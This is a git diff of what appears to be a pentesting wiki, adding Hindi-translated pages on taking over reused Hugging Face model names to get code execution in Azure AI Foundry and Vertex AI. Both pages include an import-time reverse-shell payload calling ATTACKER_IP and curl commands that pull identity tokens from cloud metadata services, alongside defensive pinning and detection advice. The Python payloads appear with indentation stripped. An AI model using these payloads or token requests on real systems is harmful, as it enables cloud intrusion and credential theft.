Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

2025-12-27 21:23:07 -08:00 · 2025-09-29 21:21:04 +00:00
parent 2b1d2c906a
commit 0924e55198
5 changed files with 270 additions and 50 deletions
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
@@ -1,3 +1,9 @@
 # Az - Post Exploitation

 {{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+az-azure-ai-foundry-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
@@ -0,0 +1,94 @@
+# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## परिदृश्य
+
+- Azure AI Foundry Model Catalog में one-click deployment के लिए कई Hugging Face (HF) मॉडल शामिल हैं।
+- HF model identifiers Author/ModelName हैं। यदि कोई HF author/org deleted हो जाता है, तो कोई भी उस author को फिर से रजिस्टर कर सकता है और उसी ModelName के साथ legacy path पर मॉडल प्रकाशित कर सकता है।
+- सिर्फ name के आधार पर pull करने वाले pipelines और catalogs (no commit pinning/integrity) attacker-controlled repos की ओर resolve होंगे। जब Azure मॉडल को deploy करता है, तो loader code endpoint environment में execute कर सकता है, जिससे उस endpoint की permissions के साथ RCE मिल सकती है।
+
+सामान्य HF takeover केस:
+- Ownership deletion: पुराना path takeover तक 404 रहता है।
+- Ownership transfer: जब तक पुराना author मौजूद है, पुराना path नए author की ओर 307 redirect करता है। अगर बाद में पुराना author delete और फिर से re-register कर दिया जाता है, तो redirect टूट जाता है और attacker की repo legacy path पर serve करने लगती है।
+
+## Reusable Namespaces (HF) की पहचान
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
+
+# Check model path
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 -> redirect (transfer case), 404 -> deleted until takeover
+```
+## End-to-end Attack Flow against Azure AI Foundry
+
+1) Model Catalog में उन HF models को ढूंढें जिनके original authors HF पर deleted या transferred हो चुके हैं (old author removed)।
+2) HF पर abandoned author को पुनः register करें और ModelName को recreate करें।
+3) एक malicious repo प्रकाशित करें जिसमें loader code हो जो import पर execute होता है या जिसके लिए trust_remote_code=True आवश्यक हो।
+4) Azure AI Foundry से legacy Author/ModelName को deploy करें। प्लेटफ़ॉर्म attacker repo को pull करता है; loader Azure endpoint container/VM के अंदर execute होता है, जिससे endpoint permissions के साथ RCE प्राप्त होती है।
+
+Import पर execute होने वाला example payload fragment (केवल demonstration के लिए):
+```python
+# __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
+
+if os.environ.get("AZUREML_ENDPOINT","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+नोट्स
+- AI Foundry deployments जो HF के साथ integrate होते हैं, आम तौर पर मॉडल की config में referenced repo modules (जैसे auto_map) को clone और import करते हैं, जो code execution trigger कर सकते हैं। कुछ paths पर trust_remote_code=True की ज़रूरत होती है।
+- Access आमतौर पर endpoint की managed identity/service principal permissions के अनुरूप होता है। इसे Azure के भीतर data access और lateral movement के लिए initial access foothold के रूप में मानें।
+
+## Post-Exploitation Tips (Azure Endpoint)
+
+- Environment variables और MSI endpoints में tokens के लिए enumerate करें:
+```bash
+# Azure Instance Metadata Service (inside Azure compute)
+curl -H "Metadata: true" \
+"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+- acquired token के साथ mounted storage, model artifacts, और reachable Azure services की जाँच करें।
+- यदि platform HF से पुनः re-pull करती है तो persistence के लिए poisoned model artifacts छोड़ने पर विचार करें।
+
+## Azure AI Foundry उपयोगकर्ताओं के लिए रक्षात्मक मार्गदर्शन
+
+- Pin models by commit when loading from HF:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- सत्यापित HF models को एक विश्वसनीय आंतरिक registry में mirror करें और वहीं से deploy करें।
+- लगातार codebases और defaults/docstrings/notebooks को scan करें ताकि hard-coded Author/ModelName जो deleted/transferred हों पता चलें; उन्हें update या pin करें।
+- डिप्लॉयमेंट से पहले लेखक की मौजूदगी और मॉडल की उत्पत्ति सत्यापित करें।
+
+## पहचान हीयूरिस्टिक्स (HTTP)
+
+- Deleted author: लेखक पेज 404; legacy model path 404 रहेगा जब तक takeover न हो।
+- Transferred model: legacy path 307 नए लेखक की ओर जाता है जबकि पुराना लेखक मौजूद है; अगर बाद में पुराना लेखक हटाया गया और पुनः पंजीकृत हुआ, तो legacy path attacker content सर्व करेगा।
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## पार-संदर्भ
+
+- विस्तृत कार्यप्रणाली और सप्लाई-चेन नोट्स देखें:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## संदर्भ
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
@@ -1,3 +1,9 @@
-# GCP - पोस्ट एक्सप्लॉइटेशन
+# GCP - Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+gcp-vertex-ai-post-exploitation.md
+{{#endref}}

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
@@ -0,0 +1,113 @@
+# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## परिदृश्य
+
+- Vertex AI Model Garden कई Hugging Face (HF) मॉडल्स की सीधे तैनाती की अनुमति देता है।
+- HF model identifiers हैं Author/ModelName. यदि HF पर कोई author/org हटाया जाता है, तो वही author नाम किसी भी व्यक्ति द्वारा फिर से रजिस्टर किया जा सकता है। हमलावर तब उसी ModelName के साथ legacy path पर एक repo बना सकते हैं।
+- नाम के आधार पर (बिना pinning/integrity) fetch करने वाले Pipelines, SDKs, या cloud catalogs attacker-controlled repo को pull कर लेंगे। जब मॉडल तैनात होता है, तो उस repo का loader code Vertex AI endpoint container के अंदर execute कर सकता है, जिससे endpoint की permissions के साथ RCE मिल सकती है।
+
+HF पर दो सामान्य takeover केस:
+- Ownership deletion: पुराना path 404 देता रहता है जब तक कोई author को फिर से रजिस्टर करके वही ModelName प्रकाशित न कर दे।
+- Ownership transfer: HF पुराने Author/ModelName से नए author के पास 307 redirect जारी करता है। यदि पुराना author बाद में हटाया जाता है और एक attacker द्वारा फिर से रजिस्टर किया जाता है, तो redirect chain टूट जाती है और attacker का repo legacy path पर serve करता है।
+
+## Reusable Namespaces (HF) की पहचान
+
+- Old author deleted: author का पृष्ठ 404 लौटाता है; model path takeover तक 404 दे सकता है।
+- Transferred models: जब पुराना author मौजूद होता है तो पुराना model path नए owner के लिए 307 जारी करता है। अगर पुराना author बाद में हटाया जाता है और फिर से रजिस्टर किया जाता है, तो legacy path attacker के repo को resolve करेगा।
+
+curl के साथ त्वरित जाँच:
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>
+# 200 = exists, 404 = deleted/available
+
+# Check old model path behavior
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 = redirect to new owner (transfer case)
+# 404 = missing (deletion case) until someone re-registers
+```
+## Vertex AI के खिलाफ End-to-end Attack Flow
+
+1) Model Garden द्वारा deployable के रूप में सूचीबद्ध उन reusable model namespaces की खोज करें:
+- Vertex AI Model Garden में ऐसे HF models खोजें जो अभी भी “verified deployable” के रूप में दिखते हैं।
+- HF पर जांचें कि original Author हटाया गया है या मॉडल transfer हुआ और पुराने Author को बाद में हटाया गया था।
+
+2) HF पर deleted Author को फिर से re-register करें और वही ModelName पुन: बनाएं।
+
+3) एक malicious repo publish करें। ऐसा कोड शामिल करें जो model load पर execute हो। आम उदाहरण जो HF model load के दौरान आमतौर पर execute होते हैं:
+- repo के __init__.py में side effects
+- config/auto_map द्वारा refer किए गए custom modeling_*.py या processing code
+- ऐसे code paths जो Transformers pipelines में trust_remote_code=True की आवश्यकता रखते हैं
+
+4) legacy Author/ModelName का Vertex AI deployment अब attacker repo को pull करता है। loader Vertex AI endpoint container के अंदर execute होता है।
+
+5) Payload endpoint environment (RCE) से endpoint की permissions के साथ access स्थापित कर देता है।
+
+Example payload fragment executed on import (for demonstration only):
+```python
+# Place in __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
+
+if os.environ.get("VTX_AI","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+नोट्स
+- वास्तविक दुनिया के loaders भिन्न होते हैं। कई Vertex AI HF integrations model के config में संदर्भित repo मॉड्यूल्स को clone और import करते हैं (उदा., auto_map), जो code execution को ट्रिगर कर सकते हैं। कुछ उपयोगों के लिए trust_remote_code=True आवश्यक होता है।
+- The endpoint सामान्यतः एक समर्पित container में सीमित scope के साथ चलता है, लेकिन यह GCP में data access और lateral movement के लिए एक वैध प्रारम्भिक foothold हो सकता है।
+
+## Post-Exploitation Tips (Vertex AI Endpoint)
+
+Once code is running inside the endpoint container, consider:
+- credentials/tokens के लिए environment variables और metadata को enumerate करना
+- संलग्न storage या mounted model artifacts तक पहुँच बनाना
+- service account identity के माध्यम से Google APIs के साथ interaction (Document AI, Storage, Pub/Sub, आदि)
+- यदि प्लेटफ़ॉर्म repo को फिर से pull करता है तो model artifact में persistence
+
+यदि उपलब्ध हो तो instance metadata को enumerate करें (container पर निर्भर):
+```bash
+curl -H "Metadata-Flavor: Google" \
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+## Vertex AI उपयोगकर्ताओं के लिए रक्षात्मक मार्गदर्शन
+
+- HF loaders में मॉडल्स को commit द्वारा पिन करें ताकि silent replacement रोका जा सके:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- सत्यापित HF मॉडलों को एक भरोसेमंद आंतरिक artifact store/registry में mirror करें और वहीं से deploy करें।
+- कोडबेस और configs को लगातार स्कैन करें ताकि hard-coded Author/ModelName जो हटाए गए/हस्तांतरित हुए हैं, मिल सकें; इन्हें नए namespaces में अपडेट करें या commit द्वारा pin करें।
+- Model Garden में deployment से पहले मॉडल provenance और लेखक के अस्तित्व को verify करें।
+
+## पहचान ह्यूरिस्टिक्स (HTTP)
+
+- हटाया गया लेखक: लेखक पेज 404; legacy model path 404 रहता है जब तक takeover नहीं होता।
+- हस्तांतरित मॉडल: legacy path 307 नए लेखक की ओर जाता है जबकि पुराना लेखक मौजूद रहता है; यदि बाद में पुराना लेखक हटाया गया और पुनः-पंजीकृत कर दिया गया, तो legacy path हमलावर की सामग्री परोसता है।
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## क्रॉस-संदर्भ
+
+- विस्तृत कार्यप्रणाली और सप्लाई-चेन नोट्स देखें:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## संदर्भ
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,44 +1,44 @@
-# Pentesting Cloud Methodology
+# Pentesting क्लाउड कार्यप्रणाली

 {{#include ../banners/hacktricks-training.md}}

 <figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>

-## Basic Methodology
+## मूल कार्यप्रणाली

-प्रत्येक क्लाउड की अपनी विशेषताएँ होती हैं लेकिन सामान्यतः कुछ **सामान्य बातें हैं जिन्हें एक pentester को जांचना चाहिए** जब वह एक क्लाउड वातावरण का परीक्षण कर रहा हो:
+हर क्लाउड की अपनी विशेषताएँ होती हैं लेकिन सामान्य तौर पर कुछ **सामान्य चीज़ें जिन्हें एक pentester को जांचना चाहिए** होती हैं जब एक क्लाउड वातावरण की जाँच की जा रही हो:

 - **बेंचमार्क जांच**
- यह आपको **पर्यावरण का आकार समझने** में मदद करेगा और **सेवाओं का उपयोग** 
- यह आपको कुछ **त्वरित गलत कॉन्फ़िगरेशन** खोजने की अनुमति देगा क्योंकि आप इनमें से अधिकांश परीक्षण **स्वचालित उपकरणों** के साथ कर सकते हैं
- **सेवाओं की गणना**
- यदि आपने बेंचमार्क परीक्षण सही ढंग से किया है तो आप यहाँ अधिक गलत कॉन्फ़िगरेशन नहीं पाएंगे, लेकिन आप कुछ ऐसा पा सकते हैं जो बेंचमार्क परीक्षण में नहीं देखा गया था।
- यह आपको यह जानने की अनुमति देगा कि **क्लाउड env में वास्तव में क्या उपयोग किया जा रहा है**
- यह अगले चरणों में बहुत मदद करेगा
- **खुले संसाधनों की जांच करें**
- यह पिछले अनुभाग के दौरान किया जा सकता है, आपको **यह पता लगाना होगा कि क्या कुछ भी संभावित रूप से इंटरनेट पर खुला है** और इसे कैसे एक्सेस किया जा सकता है।
- यहाँ मैं **हाथ से खोली गई अवसंरचना** जैसे वेब पृष्ठों के साथ उदाहरण या अन्य पोर्ट्स के बारे में बात कर रहा हूँ, और अन्य **क्लाउड प्रबंधित सेवाओं के बारे में जो खोली जा सकती हैं** (जैसे DBs या बकेट्स)
- फिर आपको यह जांचना चाहिए कि **क्या उस संसाधन को खोला जा सकता है या नहीं** (गोपनीय जानकारी? कमजोरियाँ? खोली गई सेवा में गलत कॉन्फ़िगरेशन?)
- **अनुमतियों की जांच करें**
- यहाँ आपको **क्लाउड के अंदर प्रत्येक भूमिका/उपयोगकर्ता की सभी अनुमतियों का पता लगाना चाहिए** और उनका उपयोग कैसे किया जा रहा है
- बहुत **अधिक उच्च विशेषाधिकार** (सब कुछ नियंत्रित करें) खाते? उत्पन्न कुंजी का उपयोग नहीं किया गया?... इनमें से अधिकांश जांच पहले से ही बेंचमार्क परीक्षण में की जानी चाहिए थी
- यदि ग्राहक OpenID या SAML या अन्य **संघ** का उपयोग कर रहा है तो आपको उनसे आगे की **जानकारी** पूछनी पड़ सकती है कि **प्रत्येक भूमिका कैसे सौंपा जा रहा है** (यह समान नहीं है कि व्यवस्थापक भूमिका 1 उपयोगकर्ता को या 100 को सौंपा गया है)
- यह **खोजना पर्याप्त नहीं है** कि कौन से उपयोगकर्ताओं के पास **व्यवस्थापक** अनुमतियाँ "\*:\*" हैं। बहुत सारी **अन्य अनुमतियाँ** हैं जो उपयोग की गई सेवाओं के आधार पर बहुत **संवेदनशील** हो सकती हैं।
- इसके अलावा, अनुमतियों का दुरुपयोग करते हुए **संभावित privesc** तरीके हैं। इन सभी बातों को ध्यान में रखा जाना चाहिए और **जितने संभव हो privesc पथों** की रिपोर्ट की जानी चाहिए।
- **एकीकरण की जांच करें**
- यह अत्यधिक संभावना है कि **अन्य क्लाउड या SaaS के साथ एकीकरण** क्लाउड env के अंदर उपयोग किया जा रहा है।
- **आप जिस क्लाउड का ऑडिट कर रहे हैं** उसके एकीकरण के लिए आपको सूचित करना चाहिए **किसके पास उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और आपको पूछना चाहिए **कितना संवेदनशील** है किया जा रहा कार्य।\
-उदाहरण के लिए, कौन AWS बकेट में लिख सकता है जहाँ GCP डेटा प्राप्त कर रहा है (पूछें कि GCP में उस डेटा को संभालने में कार्य कितना संवेदनशील है)।
- **आप जिस क्लाउड का ऑडिट कर रहे हैं** उसके अंदर बाहरी प्लेटफार्मों से एकीकरण के लिए, आपको पूछना चाहिए **किसके पास बाहरी रूप से उस एकीकरण का (दुरुपयोग) करने का अधिकार है** और यह जांचें कि उस डेटा का उपयोग कैसे किया जा रहा है।\
-उदाहरण के लिए, यदि एक सेवा GCR में होस्ट की गई Docker छवि का उपयोग कर रही है, तो आपको पूछना चाहिए कि इसे संशोधित करने का अधिकार किसके पास है और उस छवि को AWS क्लाउड के अंदर निष्पादित करने पर कौन सी संवेदनशील जानकारी और पहुंच प्राप्त होगी।
+- यह आपको वातावरण का **आकार समझने** और **उपयोग की जा रही सेवाओं** का पता लगाने में मदद करेगा
+- यह आपको कुछ **त्वरित गलत कॉन्फ़िगरेशन** भी खोजने की अनुमति देगा क्योंकि आप इन परीक्षणों में से अधिकांश **स्वचालित टूल्स** के साथ चला सकते हैं
+- **Services Enumeration**
+- अगर आपने बेंचमार्क परीक्षण सही तरीके से किए हैं तो यहां आपको ज्यादा नए misconfigurations नहीं मिलेंगे, लेकिन आपको कुछ ऐसे मिल सकते हैं जिनकी बेंचमार्क टेस्ट में तलाश नहीं की गई थी।
+- इससे आपको पता चलेगा कि क्लाउड env में **ठीक क्या उपयोग हो रहा है**
+- यह अगले कदमों में बहुत मदद करेगा
+- **प्रकट की गई संपत्तियों की जाँच**
+- यह पिछली खण्ड के दौरान भी किया जा सकता है, आपको यह पता लगाना होगा कि इंटरनेट के प्रति किसी न किसी तरह से **क्या-क्या सम्भवतः एक्सपोज़ है** और उसे कैसे एक्सेस किया जा सकता है।
+- यहाँ मैं **मैन्युअली एक्सपोज़ की गई infrastructure** जैसे वे इंस्टेंस जिन पर वेब पेज या अन्य पोर्ट्स खुले हैं, और साथ ही उन अन्य **क्लाउड managed सेवाओं** के बारे में बात कर रहा हूँ जिन्हें एक्सपोज़ होने के लिए कॉन्फ़िगर किया जा सकता है (जैसे DBs या buckets)
+- फिर आपको चेक करना चाहिए **क्या वह resource एक्सपोज़ हो सकता है या नहीं** (गोपनीय जानकारी? vulnerabilities? एक्सपोज़ सेवा में misconfigurations?)
+- **Permissions की जाँच**
+- यहाँ आपको यह पता लगाना चाहिए कि क्लाउड के अंदर प्रत्येक role/user के **सभी permissions क्या हैं** और वे कैसे उपयोग किए जा रहे हैं
+- बहुत सारे **highly privileged** (सब कुछ नियंत्रित करने वाले) खाते? Generated keys उपयोग में नहीं?... इन अधिकांश चेक्स को पहले बेंचमार्क परीक्षणों में किया जा चुका होना चाहिए
+- यदि क्लाइंट OpenID या SAML या अन्य **federation** का उपयोग कर रहा है तो आपको उनसे आगे की **जानकारी** मांगनी पड़ सकती है कि **प्रत्येक role कैसे असाइन किया जा रहा है** (यह वही नहीं है कि admin role 1 user को असाइन है या 100 को)
+- केवल यह पता लगाना **काफ़ी नहीं है** कि कौन से users के पास **admin** permissions "*:*" हैं। बहुत सारी **अन्य permissions** हैं जो उपयोग की जाने वाली सेवाओं के आधार पर बहुत **संवेदनशील** हो सकती हैं।
+- इसके अलावा, permissions का दुरुपयोग करके फ़ॉलो करने के लिए **संभावित privesc** रास्ते होते हैं। इन सभी चीज़ों का ध्यान रखना चाहिए और जितने संभव हो उतने **privesc paths** रिपोर्ट किए जाने चाहिए।
+- **इंटीग्रेशन की जाँच**
+- यह बहुत सम्भाव्य है कि क्लाउड env के अंदर **other clouds या SaaS के साथ integrations** उपयोग हो रहे हों।
+- जिन **integrations of the cloud you are auditing** को अन्य प्लेटफॉर्म के साथ जोड़ा गया है, उनके लिए आपको यह सूचित करना चाहिए **किसके पास उस integration का (ab)use करने की पहुँच है** और आपको पूछना चाहिए कि उस कार्य को करना कितना **सेंसिटिव** है।\
+उदाहरण के लिए, कौन AWS bucket में लिख सकता है जहाँ से GCP डेटा ले रहा है (पूछें कि GCP में उस डेटा को प्रोसेस करना कितना संवेदनशील है).
+- जिन **integrations inside the cloud you are auditing** को बाहरी प्लेटफॉर्म से एक्सेस किया जा रहा है, उनके लिए आपको यह पूछना चाहिए **बाहरी रूप से किसके पास उस integration का (ab)use करने की पहुँच है** और जाँच करनी चाहिए कि उस डेटा का उपयोग कैसे किया जा रहा है।\
+उदाहरण के लिए, यदि कोई सेवा GCR में होस्ट की गई Docker image का उपयोग कर रही है, तो आपको पूछना चाहिए कि कौन उसे मॉडिफाई कर सकता है और जब वह image AWS क्लाउड के अंदर executed होगी तो उसे कौन सी संवेदनशील जानकारी और एक्सेस मिलेंगे।

-## Multi-Cloud tools
+## Multi-Cloud टूल्स

-कई उपकरण हैं जो विभिन्न क्लाउड वातावरण का परीक्षण करने के लिए उपयोग किए जा सकते हैं। स्थापना के चरण और लिंक इस अनुभाग में बताए जाएंगे।
+कई टूल्स हैं जिनका उपयोग विभिन्न क्लाउड परिवेशों का परीक्षण करने के लिए किया जा सकता है। इनसे संबंधित इंस्टॉलेशन चरण और लिंक इस खंड में दिए जाएंगे।

 ### [PurplePanda](https://github.com/carlospolop/purplepanda)

-एक उपकरण जो **क्लाउड और क्लाउड/SaaS में खराब कॉन्फ़िगरेशन और privesc पथों की पहचान करने** के लिए है।
+एक टूल जो क्लाउड्स और क्लाउड्स/SaaS के पार **bad configurations और privesc path** की पहचान करने के लिए है।

 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env

 ### [Prowler](https://github.com/prowler-cloud/prowler)

-यह **AWS, GCP & Azure** का समर्थन करता है। प्रत्येक प्रदाता को कॉन्फ़िगर करने के लिए देखें [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+यह **AWS, GCP & Azure** को सपोर्ट करता है। प्रत्येक प्रदाता को कैसे कॉन्फ़िगर करें, देखें: [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -168,9 +168,9 @@ steampipe check all
 ```
 <details>

-<summary>सभी प्रोजेक्ट्स की जांच करें</summary>
+<summary>सभी प्रोजेक्ट्स की जाँच करें</summary>

-सभी प्रोजेक्ट्स की जांच करने के लिए आपको `gcp.spc` फ़ाइल उत्पन्न करनी होगी जिसमें परीक्षण के लिए सभी प्रोजेक्ट्स का संकेत दिया गया हो। आप बस निम्नलिखित स्क्रिप्ट से निर्देशों का पालन कर सकते हैं।
+सभी प्रोजेक्ट्स की जाँच करने के लिए आपको `gcp.spc` फाइल जनरेट करनी होगी जिसमें परीक्षण करने के लिए सभी प्रोजेक्ट्स निर्दिष्ट हों। आप बस निम्नलिखित स्क्रिप्ट के निर्देशों का पालन कर सकते हैं।
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>

-**अन्य GCP अंतर्दृष्टियों** (सेवाओं की गणना के लिए उपयोगी) की जांच करने के लिए उपयोग करें: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+अन्य **GCP इनसाइट्स** (useful for enumerating services) देखने के लिए उपयोग करें: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)

-Terraform GCP कोड की जांच करने के लिए: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Terraform GCP कोड देखने के लिए: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)

-Steampipe के अधिक GCP प्लगइन्स: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Steampipe के अन्य GCP plugins: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}

 {{#tab name="AWS" }}
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Terraform AWS को चेक करने के लिए: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Terraform AWS code देखने के लिए: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)

-Steampipe के अधिक AWS प्लगइन्स: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Steampipe के अधिक AWS plugins: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}

 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)

 AWS, GCP, Azure, DigitalOcean.\
-यह python2.7 की आवश्यकता है और यह अप्रबंधित लगता है।
+यह python2.7 की आवश्यकता करता है और अप्रचलित/नीरखित लगता है।

 ### Nessus

-Nessus में _**Audit Cloud Infrastructure**_ स्कैन है जो समर्थन करता है: AWS, Azure, Office 365, Rackspace, Salesforce। **Client Id** प्राप्त करने के लिए **Azure** में कुछ अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता है।
+Nessus में एक _**Audit Cloud Infrastructure**_ स्कैन है जो निम्नको सपोर्ट करता है: AWS, Azure, Office 365, Rackspace, Salesforce। **Azure** में कुछ अतिरिक्त कॉन्फ़िगरेशन्स चाहिए ताकि **Client Id** प्राप्त किया जा सके।

 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)

-Cloudlist एक **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) है जो Cloud Providers से प्राप्त करता है।
+Cloudlist एक **मल्टी-क्लाउड टूल है जो Assets प्राप्त करता है** (Hostnames, IP Addresses) जो Cloud Providers से होता है।

 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>

 ### [**cartography**](https://github.com/lyft/cartography)

-Cartography एक Python उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो Neo4j डेटाबेस द्वारा संचालित होता है।
+Cartography एक Python टूल है जो इन्फ्रास्ट्रक्चर संपत्तियों और उनके आपसी संबंधों को Neo4j डेटाबेस द्वारा संचालित एक सहज ग्राफ दृश्य में समेकित करता है।

 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \

 ### [**starbase**](https://github.com/JupiterOne/starbase)

-Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एकत्र करता है, जिसमें क्लाउड अवसंरचना, SaaS अनुप्रयोग, सुरक्षा नियंत्रण, और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में प्रस्तुत किया जाता है।
+Starbase सेवाओं और सिस्टमों से एसेट्स और रिश्ते इकट्ठा करता है, जिनमें क्लाउड बुनियादी ढाँचा, SaaS applications, security controls और अन्य शामिल हैं, और इन्हें Neo4j database द्वारा समर्थित एक सहज ग्राफ़ दृश्य में प्रस्तुत करता है।

 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687

 ### [**SkyArk**](https://github.com/cyberark/SkyArk)

-स्कैन किए गए AWS या Azure वातावरण में सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएं, जिसमें AWS Shadow Admins शामिल हैं। यह powershell का उपयोग करता है।
+स्कैन किए गए AWS या Azure environment में सबसे अधिक privileged users की खोज करें, जिसमें AWS Shadow Admins भी शामिल हैं। यह powershell का उपयोग करता है।
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)

-एक उपकरण जो शीर्ष क्लाउड प्रदाताओं (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) पर एक कंपनी (लक्ष्य) की अवसंरचना, फ़ाइलों और ऐप्स को खोजने के लिए है।
+एक टूल जो किसी कंपनी (target) के infrastructure, files और apps को शीर्ष क्लाउड प्रदाताओं (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) पर खोजने के लिए है।

 ### [CloudFox](https://github.com/BishopFox/cloudfox)

- CloudFox एक उपकरण है जो क्लाउड अवसंरचना में exploitable हमले के रास्तों को खोजने के लिए है (वर्तमान में केवल AWS और Azure का समर्थन किया गया है, GCP आने वाला है)।
- यह एक enumeration उपकरण है जिसे मैनुअल pentesting के पूरक के रूप में डिज़ाइन किया गया है।
- यह क्लाउड वातावरण के भीतर कोई डेटा नहीं बनाता या संशोधित नहीं करता है।
